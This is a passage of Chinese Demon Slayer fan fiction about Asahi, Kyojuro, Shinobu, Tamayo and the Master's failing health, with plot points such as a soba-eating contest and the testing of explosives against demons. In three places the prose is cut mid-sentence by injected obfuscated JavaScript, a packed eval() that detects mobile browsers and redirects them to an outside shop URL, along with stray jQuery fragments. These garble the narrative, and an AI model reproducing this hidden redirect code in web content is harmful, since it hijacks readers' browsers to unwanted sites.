遵从我的本心,我自然信任主公和鬼杀队,并且认同鬼杀队的方向,但是……珠世小姐的安危也非常重要!我不知道要怎么形容内心的感受,所谓天人交战,复杂的观点纷纷乱乱,我想说些什么,可看看身边的杏寿郎,再看看对面的珠世小姐,话便再也说不出了。 医生却冷静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613460|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地抬手,轻轻抚摸过面前我带来的资料:“我已经收拾了东西,决定要去了。” 我们有着不同的过去,经历了不同的人生,带着不同的感悟,走过那段漫长的路,最终交汇在一起,像是无数支流只有一个入海口,我们终于走向同一个结局。 但那会是好结局吗?我不知道。 可我知道这是唯一的结局。 最后,我只是提出让肖恩送她们去往鬼杀队,这样我才能放心。 嘴上虽然这么说着,但我其实并不能够真正地放心。鬼杀队中对鬼深恶痛绝的才是绝大多数,听说风柱大人曾有对祢豆子动手的暴行,这让我实在很担忧珠世小姐的处境。最大的担忧来源于忍。忍对于鬼的厌恶是打从心底里的,她本质上并不信任鬼能拥有理智或者可以合作,甚至对于祢豆子也一度是审视的,但继承了死去的花柱大人的遗愿,忍强迫着自己去接受鬼也有善良之人这个结论。我甚至可以听见她心中沸腾的怒火,时刻燎灼着自己的理智,她强压下所有不满,竭力让自己变成一个冷静的人。 但那只是假象。 总有一天胡蝶忍会亲手撕破自己的伪装,将真正的杀意宣之于刀尖,让恶鬼——那个杀害了她挚爱的姐姐的凶手——品尝到真正的死亡。 于是这两天我每天都会前去蝶屋,美其名曰帮助研发,实际只是忧虑会有失控的情景发生。 气氛真的不算美妙。 尤其愈史郎的嘴……的确不是所有人都能承受的。 强自镇静的忍额角绷紧,我不确定她是和鬼合作的不满更多,还是想到很快就能杀死凶手的愤怒更多。 陪着我出来逛街的杏寿郎没有说话,只是安静地牵着我的手。他从不把自己的想法强加于我,我们是独立的个体,拥有各自的观念。随着训练的开展,他的自由时间也越来越少,但他的训练内容和岩柱大人一样排得较为靠后,偶尔能在黄昏后挤出时间陪陪我。 心情焦虑的重点表现就是我开始不顾一切地购物来缓解,糟糕的情绪随着大把大把花出去的钱一起离开了我的身体,疗效相当卓越。在给杏寿郎一口气定制了十套西装之后,为了让自己能有更多理由消费,我开始给认识的所有人购买礼物,给炭治郎他们带的各种营养品,给忍和蜜璃带的各种点心与首饰,给无一郎带了许多的折纸,给雏鹤她们带的化妆品与新衣裳,给宇髓先生带了新的指甲油……等等等等,只有我买不到的,没有他们想不到的。 派遣肖恩和嘉泽乐把所有礼物送达目的地,我和杏寿郎继续在街头闲逛。 今天的黄昏是金鱼的肚腹,橙到近乎赤红的晚霞点缀着天边鱼鳞状的云,走过街角,我似乎瞥见一家店里坐着两个眼熟的身影,身体比大脑反应得更快些,我已经下意识停住脚步,目光重新投向那家店。 “是富冈和灶门少年啊。”身边的杏寿郎已经说道。 我们走进店内,店里坐的果然是水呼师兄弟。联想起那天我陪炭治郎前往义勇先生家的情形,现在他们大概已经摒弃前嫌,正坐在一起爽快地吃着荞麦面……但为什么一副要把店吃破产的架势,走近时我不由默数着桌面上堆叠的那些荞麦面盒,两个人已经各自吃了八份了。周围坐的所有客人都目瞪口呆地看着他们俩。 这是什么啊? 水呼交流感情的方法就是大吃一顿吗?突然想起在刀匠村的时候杏寿郎和蜜璃一起训练的场景了,训练结束后两个人一起吃了十五碗拉面,让我晚上睡觉的时候都梦到了两个人不停的赞叹声。 “炭治郎!义勇先生!你们好!”我出声和两位打过招呼,指了指面前堆叠成山的荞麦面,问道:“这是怎么了?”炭治郎又吃完了一份,九个木盒堆叠在一起,把他的脸几乎都要遮住了。但还是不难看出,皱着眉头的炭治郎神色有些艰难,要我说,那就是已经到了极限。 “啊!是朝和小姐和炼狱先生!你们好!”炭治郎激动地站起来和我们打招呼,简单地寒暄一番后,吃完一份荞麦面的义勇先生才对我们点头示意,“下午好。”说着又叫了一份荞麦面。 杏寿郎对义勇先生的态度见怪不怪,打过招呼后带着我在炭治郎他们对面坐下,也点了两份荞麦面。 炭治郎正在和我解释他们突然举办的荞麦面大赛是怎么回事,说到是他主动提出要和义勇先生比吃荞麦面的时候,我不由怜爱地看向他,凑近他小声说道:“炭治郎,柱之中不是只有蜜璃的胃口好的,”我指了指杏寿郎,“杏寿郎一次至少可以吃11个牛肉便当,或者15碗拉面。大胃王是柱的常态啦。” 闻言,炭治郎整个都僵硬了。 这时,老板又端了四份荞麦面前来,正好一人一份。 你们还吃啊?我不停地用眼神询问炭治郎,而炭治郎则沉默无比,他脸上数种情绪轮番上演,最终化作坚定。 “炭治郎,”义勇先生忽然开口,“这场比赛,你说如果我输了就得去参加训练,”他看向炭治郎,问道:“如果我赢了,就不用去参加了吗?” 啊——他问出来了!我攥紧了手,包括牵着杏寿郎的那只。而听到炭治郎的提议后从刚才一直沉默的杏寿郎只是轻轻拍了拍我的手背,示意我安心。 炭治郎也被这个问题逼得语无伦次,他张了张嘴,却不能把那个答案说出口。因为炭治郎是这样的孩子,一定会竭尽全力去做一件事,绝不会考虑失败。而他一定会做到。 “老板,再给他来一份。”义勇先生指了指炭治郎。 炭治郎受惊的表情把我逗笑了。 而义勇先生淡然的声音就这样说出:“这是我的最后一份,也就是说,你吃掉追加的那份就能赢过我。” “然后我去参加柱训练。这样你就能接受了吧?” 看义勇先生面不改色的样子,他的饭量肯定远不止如此。我从前也好奇柱怎么能吃这么多,胃不会难受吗,身体受得了吗,杏寿郎甚至不会长胖!后来推测大概是因为柱长年累月开启着呼吸状态,并且经常需要与鬼战斗,身体对于能量的消耗远远超过常人,所以饭量也会比普通人更大一些。炭治郎虽然已经很厉害了,可是经验上毕竟还欠缺不少,比不上柱也是正常的。 在这对师兄弟复制般的吃面动作前,我和杏寿郎也品尝起自己的荞麦面来。 味道的确不错。 杏寿郎赞叹道。 而我……不忍再去看炭治郎硬撑的脸,一边吃一边在心里为他加油。幸好总是因为担心杏寿郎的食量而在包里常备着消食的药,等之后就给炭治郎吃吧。 至于现在,用自己的努力赢下义勇先生吧!完成主公大人的嘱托,将他带回柱训练! 63. 蒺藜 日子过得很快,忍和珠世小姐因为合作的顺畅而进入相安无事的时期后,我逐渐减少去往蝶屋的频率。一来我实在对药物的开发并不了解,无非能对新药的口味提供些建议。一旦我出现,无论是忍还是珠世小姐都情不自禁分出时间来招待我,某种意义上我像个参观的旅客打扰了她们的进度;二来忍对于珠世小姐的态度远没有我想象的那么激进,徘徊在我心中那个对鬼充满恨意的少女并没有出现,甚至就连一句对珠世小姐刻薄的话语都没有,为此我向忍感到抱歉。 那天夜里我留宿在蝶屋,一直像个尾巴似的跟随在忍的身后,直到她无奈地主动提出要和我一起吹吹风。天已经热了,龙胆花快到了败落的时候,尽管那抹生机盎然的紫色此刻仍然摇曳在蝶屋的庭院,但明天太阳升起时没人知道它还会不会存在。胡蝶忍就坐在距离我半米远的位置,她近乎谨慎地对待着人与人之间社交礼仪,把一切可能隔绝在礼貌之外。在我看来她就像是苦行僧般用礼貌遮掩自己内心的真相,我们一同坐在游廊下,我轻轻晃动着双腿,而忍寂静如雕塑。在我们单独相对的那一刻,笼罩在无边的夜色里,天上竟然连最明亮的北斗星都没有闪烁,照亮眼前的只有我与忍之间摇晃的烛灯。 忍出神地看着远方,不曾显露出丝毫情绪。她的存在让人很容易忘了这位虫柱大人其实还没有二十岁。我凝视着她柔和的侧脸,在长睫下藏着的眼宛若花蕾。心下一动,我提起烛灯慢慢挪移着靠近她,在她不解的注视中强硬地伸手把她搂进自己怀里,学着杏寿郎从前安慰我时的姿态轻拍她的肩头。反应过来的忍顿时哭笑不得,她张了张嘴,似乎要说些什么,但最终没有拒绝我的肩膀。 显而易见,我并不懂她,但这并不重要。重要的是我会陪伴她,在这个世界上她还有我。 “这样就好。”忍轻轻说道,声音融入夜风中,吹拂过我的长发,“谢谢你,朝和。” 或许许多年后我仍然会清晰地记得这个夜晚,在静谧之中世界只有我和忍两个人。它带有不同的颜色,独具象征,而人的一生中这样的颜色并不会很多。 那时的我们在何处,过着怎样的生活,我一概不知,只是我希望我们都好好地生活着,去享受没有鬼的世界。 总之,烦心事很快散去,并没有困扰我太久,我的生活又一次进入平和且悠闲的阶段。 随着药物更深一步地推进研发,让我想起自己最初定下可以帮助鬼杀队的两个小目标——药物与武器。实际上,在有栖川家的支持及多方协助下,这两个方向的技术进展都很显著。不过就目前的进度来看,药物的突破显然无须担心,剩下的就只有武器了。 从蝶屋离开后,我坐车去往武器研发工厂。 为了应对不定期的火药试验,武器研发工厂连同烟火工厂一起坐落在一处人迹罕至的山地。空旷的环境在建筑身后摊开,不远处光裸的群山少有植物分布,直白地裸露出层层岩土的山体。这里从前是一个石矿,人们挖去半座山石运到城市建造新时代的房屋,剩下的一切随着黑船开国、西洋材料与科技的进入而逐渐改变,矿主在失去绝大部分利益后不再坚守,人力的成本也随着民众觉醒而成为一笔负担,最终被外祖父买下,变成一座工厂。 来前我与京极先生通过电话,沟通了目前的研发进度后,他表示今天就会做一次新型炸药的爆炸试验,邀请我前来观看效果。 我直奔试验场地。 上一回来到这里还是为了向宇髓先生和不死川先生展示炸药的爆破情况,而现在一切都即将要进入最后的阶段,我心中不由生出一股激动且紧张的心情。恐惧则很远地追在后面,远得看不见影子,但每当我觉得它并不存在的时候,它就会突然地钻出,在我心口跳动。 穿过围墙般构建起的花楸树行,现在正值它开花的季节,那些茂密的白花串在一起,如同闪耀的光点,散落在郁郁葱葱的树叶之间,显出一派生机盎然。 在欧洲,我想没有人不认识花楸树,北欧人用花楸树鲜红的果子酿造成含有独特甜蜜的高度酒;基督徒则将花楸树的枝干制作成十字架用以表达自己的信仰;凯尔特人更是认为花楸其实是巫师的树,可以被巫师用来制作抵御邪恶的防御道具。然而,在大不列颠,一切与众不同,几乎每座墓园里都会种植花楸树,那些蔓生的枝干、雪白的花粒、成串的浆果,无一不是帮助逝者寻找前往来生道路的路标。 对于寻常人来说,恐惧家中遭遇小偷,与恐惧死亡或许并没有太大的区别,当赖以为生的东西被损坏时,其实也无异于伤害他们的生命。花楸树就像是另一种紫藤花,用自己的阴影庇佑着附近的居民。 但总有人选择走出花楸的结界。 山野依然寂静,我们与它无声地对望。今天是个晴朗的日子,没有风,天空蔚蓝如洗,光晕染上云层,模糊的晖黄透出些许暖意,落在皮肤上,预兆着夏天的靠近。 实际上,关于炸药的研发在先前就已经暂且告一段落。这是一件会造成大规模杀伤的武器,使用不当甚至很可能祸及旁人,而这绝非我们的真心。更何况,关注着这座岛屿的人实在太多太多,一旦导致过大的事故,我们很难向官方提供合理交代,也无法将一切公之于众——有谁会相信?警察出现在阳光下,而鬼已经灰飞烟灭。 项目的重启是因为天音夫人的嘱托——没错,不是旁人,而是天音夫人。 这事发生在我与杏寿郎订婚前去拜访主公的那一日。向主公说明我们订婚的日子后,主公留下杏寿郎单独说了会儿话,天音夫人便邀请我去侧间茶室休息。那天陪同在天音夫人身边的不是辉利哉那孩子,而是另外两个女孩儿——一个叫作雏衣,一个叫作日香——几个孩子确实长得很相似,但我还是分辨出些许不同,这两个女孩儿她们似乎比辉利哉更年长一些,个子也高上些许,只是都有着如出一辙的面容,穿着相似的和服,神情看着平静而奇异。 天音夫人提起有栖川家名下的武器研发项目,在询问进度后,带着些许歉意地开口:“朝和小姐,我有一个不情之请,想要拜托你。” 京极先生已经在等我。看见我后他向我点头示意,先递给我一套防护用具,接着便招呼着记录试验的工作人员们准备开始, 引线点燃。 爆炸。 随着一声巨响,沙尘激飞,遮天蔽日,刹那间笼罩肉眼可见的全部视野,我下意识用手去遮挡眼睛,但抬起手时才想到自己戴着护具。镜片保护眼睛,口罩防止灰尘,黄色如同晚霞,灼目生辉,笼罩着世界不会轻易退去。在寂静声中沉默一会儿,烟尘降落,簌簌声响起,震动我的耳膜,但四下并未回归清晰,空气中仍然漂浮着什么,携带有淡淡的香味。是紫藤花的粉末。 紫藤粉末如烟雾般弥漫,足以冲进任何身处其中的生物的呼吸系统。世界缓慢展露,我们这才终于能看清试验正中心的情况。 说得上是满目疮痍。 纷纷扬扬的蒺藜飞射进提前安置在爆炸区域内的模仿道具,强度远超人类皮肉的包覆组织瞬间撕裂,其中填充的布料石粒更是裂得稀碎。 如果这是活物…… 如果这是鬼…… 我听见自己的呼吸声,因为目睹夸张景象而感到激动的想象带给我的澎湃感受汹涌如潮,我似乎陷入一种狂热,脸上不由展露出笑容,与京极先生对视的瞬间脑海里呈现的依然是鬼在爆炸中消散的场景。这绝非过度想象,而应该是对未来的一种预见。 事实上天音夫人提出的“往炸药中填置蒺藜”这个想法与京极先生不谋而合,他一早便提出要在炸药中掺杂矿石碎屑和紫藤花粉末来增加炸药对鬼的杀伤力。但外祖父衡量了效力后最终放置了这个提议,只同意了针对子弹的填充进行改造。 但比起我们那并不成熟的想法,天音夫人所说的规划显然更加完善,明显经过了深思熟虑。由经过熔断的矿石浇筑的铁蒺藜被密密麻麻地埋填在火药之中,紫藤花的粉末裹满那些细小却能刺穿皮肤的利器。 在确认效果后,京极先生敲定了最终的配方。接下来几天他会按照天音夫人的要求将所需的全部炸药安全包装并送到鬼杀队。 但狂喜消去,一种更深的疑惑终于浮上水面,展露出真身——数百斤的炸药,天音夫人和主公究竟要用它做什么呢? 又或者,我狂跳的心脏预示的并非惊喜,而是另一种相反的情绪……? 忐忑催使我想要迅速回到杏寿郎身边,将那疯狂作祟的坏念头告诉他,换取来自于他的安慰与解释。 但杏寿郎的柱训练已经开始,炼狱宅中每天挥汗如雨和哭天抢地的成员们一样多,他不厌其烦地一个一个单独对战,并且纠正。而训练结束的黄昏过后,他还会出门、奔赴远路加入柱之间的对战训练。为了更好地掌握开启斑纹,柱们需要更高强度地对战来加速自己的心率。等杏寿郎回到家的时候,往往已经是第二天。 我找了一个空当,试着说起炸药和天音夫人之间的联系,闻言,向来乐观向上、遭遇危险时还能露出笑容的杏寿郎却沉默下来,嘴角绷直,眸光落在地上。我去握他的手,一片冰凉。 最终他只是摸了摸我的头,轻声说没事。 依偎进他的怀里,却感受到他沉重的情绪。 这一切的反常让我无比敏感,但没有途径深入发掘,知道真相的杏寿郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不知道为什么,从前对于鬼杀队的柱大人们总是有着“隐士高人”般的奇怪认知,现在一下进入现实,颇有些不适应。但细想之下,这不才是鬼杀队的常态吗?虽说鬼杀队的所有成员都知道鬼的存在,但绝大多数的成员都只是普通人,他们直接或间接受到鬼的摧害后才加入鬼杀队发誓要灭除恶鬼。而柱之中唯独蜜璃在加入鬼杀队前没有遭遇过恶鬼的袭击,她是全凭着正义感和善良勇敢的心行走在这条路上的人,责任感则更是加深了她的坚定。 过了两天遇到蜜璃时我向她说起这件事,她是家中最大的孩子,但家庭和睦,父母与弟妹们都善良包容,对于蜜璃加入鬼杀队充满支持。她并不清楚家中产业,同样也是第一次得知甘露寺家和有栖川家的往来,在听说我很喜欢甘露寺家的点心后,更是非常开心地邀请我前去她的家里做客。柱大人的训练基本都在各自的家里开展,蜜璃的柔韧性训练自然也在甘露寺家。在确认我前去不会影响到他们的进度后,我便借着调节心情的想法欣然前去了。 不知道是巧合还是命运的安排,我去蜜璃家正好撞上炭治郎结束了无一郎那里的训练前来蜜璃家进行恋柱试炼。 甘露寺家的宅邸不似寻常建筑,是西洋风格相当明显的新式建筑,一砖一瓦堆起的房子高大明亮,墙壁上石膏雕出曼妙的花纹,琉璃的灯罩形如铃兰,阳光透过宽大的窗玻璃洒进室内。蜜璃的家像她的名字,也带有甜蜜的氛围,她精心烹饪了香甜的松饼招待我和炭治郎,蜂蜜淋在蓬松柔软的松饼上,融化在舌尖,悄然安抚了我的心绪。 我提前询问了蜜璃的训练内容,今天上门携带的礼物是从英国带来的一张绝版黑胶唱片与一罐红茶。 蜜璃的鎹鸦拨下唱针,悠扬的古典乐如同湾流缓慢流出、盈满室内。空旷的练功房通透而明亮,一字排开的鬼杀队队员们个个面红耳赤,手不是手、脚不是脚地站着,脸上的慌乱无法遮掩。他们都是十几、二十几岁的男人,此刻统一穿着贴身的粉白配色芭蕾舞服,人群中只有炭治郎保持着并不害羞的开朗特立独行地站着。 不过这并不意味着炭治郎足够坦然,而只意味着,他并不知道后面自己会经历什么。 蜜璃用自家养的蜜蜂产出的蜂蜜泡茶,淡淡的甜味顺着温热的水液流下我的喉管,从胃开始向全身蔓延出暖意。我低头饮水,藏起自己眼中的情绪,状若无意地看着蜜璃走向炭治郎他们,柔声纠正他们开腿的姿势。 我抿住嘴唇。 想起自己第一次学习舞蹈时被温柔却严厉的老师摆弄身体的情景。 拉伸阶段,蜜璃为了纠正大家的错误,与炭治郎交换了位置,与蜜璃脚掌相抵的那个鬼杀队队员还晕乎乎的不明所以,但下一秒,在蜜璃温柔的声音中,他的双腿猛地被平直推开,呈现一条笔直。 “……” “啊——!!!” 一声撕心裂肺的尖叫炸响世界。 在场所有没有经历拉伸的男性都不约而同地和那位舒展了身体的队员一起露出了魂飞魄散的震惊表情。 柔韧性,好像也不是很好训练呢。看着蜜璃自然地伸手向炭治郎,笑着邀请他来试试,我在心里为他鼓劲:加油吧,炭治郎! 64. 荒谬感 那之后应该是安静了些许时间。 在一段日子里每日都做的类似的安排,我很少有外出行程,即便出门大多也只是为了有栖川家族的一些事宜,这种行动大多需要消耗我绝大部分的精力,且短时间内很难自然恢复。为了缓解社交的疲惫,我偶尔会去往其他柱那里拜访以放松心情,其中忍和蜜璃那里是我去的次数最多的,剩下更多的时候我都留在家中或者炼狱宅。和我刚订婚时感受的一样,成为未婚夫妻并没有改变太多,即使有栖川朝和订婚的消息早就登上京都日报,出门在外大家依然称呼我为有栖川小小姐,也没人问起与我订婚的那位不知名先生究竟是何人,我们的婚礼打算得如何了。 只不过,留宿在炼狱家的事变得自然而然。 生活是有条不紊地推进的,初时我们对于祢豆子克服阳光可能会导致的一系列事件所产生的感受,到了现在已经变了太多。再想起时,与其说紧迫,不如说一切被安排妥当后遵守着计划执行下去,在面对未发生的所有事时人的内心只有坦然和平静。 但那一天就这样无声地到来了。 一切忽然都变了……不,或许不该说是忽然,它的出现并非是毫无征兆的,相反,我分明已经看见太多预示,却不以为然,总觉得一切都能在自己的展望之中进行,无论发生什么都会有应对之法——实在不行,还有杏寿郎呢。总之那时柱训练已经接近尾声,炭治郎也已经去到岩柱大人处进行新的训练。 前一天夜里我陪同杏寿郎结束训练后,因为已经入夜,便留宿在了炼狱宅。 用回忆来说,那天夜里我就睡得不太好。一个深邃的梦魇侵扰了我的睡眠,在我的意识海洋中肆意伸展,将自己的阴翳投射向精神拓展的各处。一个怪异的梦拉开序幕,我先是身处一艘游轮之上,拍打船身的海水漆黑且黏稠,水体撞击在钢铁之上,颞颥出一阵叫人心悸的声响。甲板上,黄昏尽情洒落,世界在此刻沉醉,面前端正地摆放着一画架,陈列的画上什么也没有,只有一轮血红的太阳。没有晾干的颜料似乎浸没在潮湿的海水中,红色宛如一道泪痕蜿蜒滑落。 我终于想起这应该是何时,正是我随着父母前往日本的最初时刻。 心脏颤出一阵鸣音,催促我伸手去触碰那幅画。可指尖才只碰到边缘,黏稠的液体便已经轻巧地攀上我的手心,翻过手……是满目猩红。我像是忘记了一切,不能做出任何反应,只是呆愣地看着自己的手、看着那抹红,那刺目的颜色我永远无法忘却,那质感、又或者梦境中并不存在的铁锈味,在掌心流动的冰凉迅速蔓延至全身,躯干僵直地立着,食指莫名颤抖了下,不在我的控制之中。 这就是一个真实的梦境。没有声音,但感受真实存在,失重感降临,双腿立时软了下去,我跌倒在地。梦就是这样,你有时能控制梦的走向,有时却只能做一个卑微的旁观者。 就像此刻。 摔倒在砂砾遍布的地上时,我的小腿突然剧烈抽筋,泛起一阵难忍的疼痛。但在那个瞬间痛意交织的意识中我已经猜到了走向。第一次走过的路不知为何会有一种熟悉感,就像从前走过,而记忆中清晰的事件便犹如情景再现般一一发生。平坦的甲板化作土地,黄昏已然过去,鲜红的太阳在我手中融化,船与海浪终于远去、成为记忆中铺垫一切的远景。而我真正的梦魇,此刻才刚刚降临。 我竭力控制着自己只注视自己的掌心,但梦永远拥有更高权限,它轻松调动我的视线,将它划过手掌,拨到一旁,只看着地面。 炼狱杏寿郎就躺在一片白百合之中。他闭着双眼,神情平和,一贯爱笑的嘴角依然保持微笑的弧度,仿佛只是陷入沉睡。 但我清楚地知道并非如此。这是扭曲了现实的噩梦,抓住我内心的弱点如同抓住我的命脉,扼住我,想看我崩溃的样子。 但只要那个念头出现,我的手乃至我的整个身体就开始剧烈地颤抖。我掌心盛着的红色越来越多、越来越多,多到终于溢出,嘀嗒落在炼狱杏寿郎胸口。红色化作血液,露出炼狱杏寿郎一片狼藉的伤口。 我不停尝试着改变梦境,在梦中无声尖叫,不断地尝试操控自己的身躯去说话做事、表达自我,而不是只能点击着固有的选项,走着固定的路途。终于,在一息之间我似乎夺回了掌控权,要做的只有闭上眼。 黑暗袭来,可内心的苦痛并不随着视野的消失而消失,即使身体没有伤处,隐隐作痛的感受依然存在,跟随我的每一次呼吸而起伏在血肉之中。 “……朝和?” 我的眼泪已经流淌出眼眶,一滴又一滴,无法计数,悲伤挤压着泪腺,让泪水失禁。 而他的声音…… “朝和!” “朝和,快醒醒!” 熟悉的声音由远及近,穿过层层笼罩的梦境,最终抵达我真实的内心。我下意识循着声音的方向望去,睁开眼,在泪光中闪烁的光线几乎让我无法视物,但我已经捉住他的手。他的手指划过我的脸颊,指尖濡湿,与方才看见的炼狱杏寿郎不同,此刻在我眼前的炼狱杏寿郎神情担忧,眉间轻蹙,他刚为我擦去脸上一片湿润,小心翼翼地反握住我的手。 “还好吗,朝和?是做噩梦了吗?” 却是活生生的、健康的、平安的。 被扶着坐起,我愣愣地看着他许久,终于清醒。 那只是一个梦。 “我梦到了……”话一出口我才听见自己的声音沙哑得厉害,挤在喉咙里上不来下不去,而无比清晰的梦境也在这一刻闪烁着模糊起来,似乎已经变得邈远。即便如此,我仍然知晓梦中我所经历的是何种结局。 杏寿郎的怀抱温暖妥帖,包裹着我,我能嗅到他衣服上浆洗后的味道,淡淡的皂角香气,我们贴近、相拥、分享一切。他怜爱地抚摸我的鬓发,微微粗糙的指尖划过我的耳垂,轻声安慰我梦与现实是相反的。 梦的确与现实是相反的,但毫无疑问,梦展现的是我不愿意承认但无可反驳的恐惧来源。 只是幸好,它不会发生,永远不会。 我也绝不允许它发生。 但很多状况的出现有时候只是为了提醒你多加小心。我沉浸在情绪之中没能发现,等我冷静下来,一切又太晚。 天音夫人代表主公向我和槙寿郎伯父发来邀约。没错,是我和槙寿郎伯父,而不是我和杏寿郎,更不是炼狱父子俩。我实在想不到自己需要和槙寿郎伯父出席的场合会有什么共同点,而主公与天音夫人的邀约更是叫人摸不着头脑。我在鬼杀队并没有负责什么事务,一直以来参与帮助的也是与战斗无关的基础内容。槙寿郎伯父就更加了,他早已隐退且不理世事,若真说起呼吸法的运用,绝对与现任的柱无法相提并论。 我看着杏寿郎,尝试从这个知道主公秘密安排的人身上找找突破点,但炼狱杏寿郎绝佳的表情管理让一切失效。槙寿郎伯父的表情倒很严肃。但考虑到从未见过他处理炎柱或鬼杀队事务时的表情,我也只能认为槙寿郎伯父只是在面对要务时与杏寿郎不同,一向以严肃认真为核心。 怎么都想不到原因。 不过我原本就准备今日前去拜访天音夫人,以向她汇报炸药的配置已经全部完成,只需运送至鬼杀队即可。需要探讨的也正是运输方面的事务,不知道这么多炸药要送到何处,也不知道应该由谁来运输。 各自琢磨着,我就这么和槙寿郎伯父踏上了前往鬼杀队当屋的路途。 坐到车上时,才发现其实这是我和槙寿郎伯父第一次独处,汽车狭窄拥挤的车厢里什么秘密都藏不住。槙寿郎伯父比起第一次见面时颓唐失意的样子改变了许多,虽然还没能完全戒酒,但平日里已经滴酒不沾,也会在杏寿郎繁忙时帮忙处理一些鬼杀队的琐事。即使前任炎柱的威名早已经随着自己的堕落而消散,但接过这个名号的杏寿郎已经再一次挥动了旗帜,让炎柱的名字重新响彻。 这一回,从前主公休息的正室房门紧闭,我与槙寿郎伯父没有再见到主公,而是直接被邀请去了侧间茶室。怀着莫名担忧的心情见到了天音夫人,她面色如常地招呼我们。能看到槙寿郎伯父振作起来,天音夫人很是欣慰,他们怀念了杏寿郎的母亲,也回忆了杏寿郎从前的趣事,但闲聊显然不是今日的正题,话语说罢,一切最终停留。 槙寿郎伯父没有再次跟随天音夫人的节奏,而是直截了当地问道:“夫人,主公的身体还康健么?” 沉寂的茶室第一次让我感受到窒息,而沉默也自觉地为我拉开遮掩真相的帷幕。 主公的身体也已经不好了。 订婚前见到他时他已经卧病在床,没有天音夫人协助甚至不能独自坐起,那么现在…… 不等天音夫人开口说话,拉门被一阵有节奏的敲门击响,得到夫人同意后门外之人又将门推开了些。是辉利哉。他身后还跟着两个女孩子,看起来像是雏衣和日香。 辉利哉带来主公的口谕,他想要与槙寿郎伯父单独论事。 等辉利哉带着槙寿郎伯父离开,我对停留在门外的两个女孩子挥手招呼道:“过来。我给你们带了礼物哦!”她们果然比辉利哉更年长些,也就更清楚礼貌和规矩,会与人生疏地保持距离。 但我不会如此。即使她们是主公的孩子,说到底她们也只是年幼的孩童,生活在闭塞的山中,为了安全不能外出,失去了许多寻常孩子就能拥有的乐趣。 从包中取出手鞠球,我将它直接递给雏衣和日向。这是我上次来的时候答应她们的。上回来时她们两人依偎着坐在游廊一角,正尝试用彩色的丝线修补一个手鞠球。那个手鞠看着有些陈旧了,五彩斑斓的丝线已在时间流逝后失去光泽,显得暗沉而深晦。看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613462|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得出来她们经常传打这颗手鞠,因此有不少丝线已经断裂,即使她们小心翼翼地用钩针将新的线补进排好的线海里,依然留有不少突兀的线头暴露在外。 因此我提出下次来时会为她们带一颗新的、更好看的手鞠。 “下次?” “你什么时候会来?” 她们抬起头看我,一左一右地问道。 “很快。” 今天我便来赴约了。 这颗手鞠是我精挑细选了配色后,请专业的匠人手工定制的,主体由白色、绿色、蓝色和黄色四色交错拼接,上面还编制出不同形状的花纹,拿在手中轻巧便利,拍打传球时能发出空灵的声响。 雏衣将手鞠拿在手中掂量两下后惊喜地递给日香,日香抚摸着球身上编织紧密的线团,两人凑在一起轻声说了几句什么,就牵着手跑开了。我没听清,不过很快她们又跑了回来,雏衣示意我伸出手,她将一枚发饰放到我的手心。那一枚与她们戴在头上的发饰很像,只是颜色是漂亮的竹色。 还不等我表示感谢,她们又一起离开了。 茶室内只剩下我和天音夫人。 山上的气候比城里要冷些许,阳光洒落也只留下光亮,天音夫人的白发在这晖耀中如同密河流淌。她垂下双眼,掩盖的那些不知如何形容的情绪似乎在这一刻显露出些许,抓住我的心神,让我想要开口询问。夫人像是预见了我的想法,在我开口前拦截了一切,说道:“谢谢你,朝和。她们很少有这么快乐的时候。” “或许你正在疑惑为什么今天我要请你和槙寿郎先生一起来。是这样的,朝和,配置好的所有炸药不需要配送,晚些时候会有鬼杀队的成员去搬运的。这是一项很重要的任务,你把它完成得很好,谢谢你。” 我摇着头想让夫人不必如此客气,却还是抵挡不住自己的忧心忡忡:“那么多的炸药,之后要如何运用呢?” 白桦树的妖精笑起来。 她不笑的时候我能意识到雏衣他们和天音夫人非常像,似乎唯独辉利哉在面容上没有完全继承她的样貌,或许是更像主公吧。 她看向屋外的方向,合着的木门明明存在却像是并不存在,完全没有隔绝天音夫人的视线,她依然能够看见一切:在这座宅邸中生活着的五个孩子和主公。片刻后,她站了起来,“请跟着我。”她带着我走向正室,先前紧闭的门已经推开,阳光疏漏,洒满主公大人的被褥,和他如今已经因为疾病而毁去的全部面容,辉利哉在他身后扶着他。 槙寿郎伯父则正坐在主人大人床褥的边上。 “朝和,请过来。”主公轻声叫我。 我不敢去看他的面容,绝非对他病容的恐惧,而是忧虑在他身上看到藏也藏不住的真相。只是听到那一句话,泪水却已经不自觉地涌出。 我在主公大人另一侧坐下,天音夫人也动作轻柔地在主公身后支撑着他坐起。 “槙寿郎……朝和……”他说着,握起辉利哉的手交到槙寿郎伯父手中,素来温和有力、支撑着我们所有人的主公,即使是声音也带上下坠的魔力,“辉利哉就拜托你们了。” 泪无端落下。 从链接眼球的神经猛然刺痛,一直传达到大脑。我看不清这个世界,就连后面所说的所有话都像被另一个人操纵着,留给我自己的只有浓浓的雾障。 …… 我跟随着槙寿郎伯父重新回到炼狱宅。 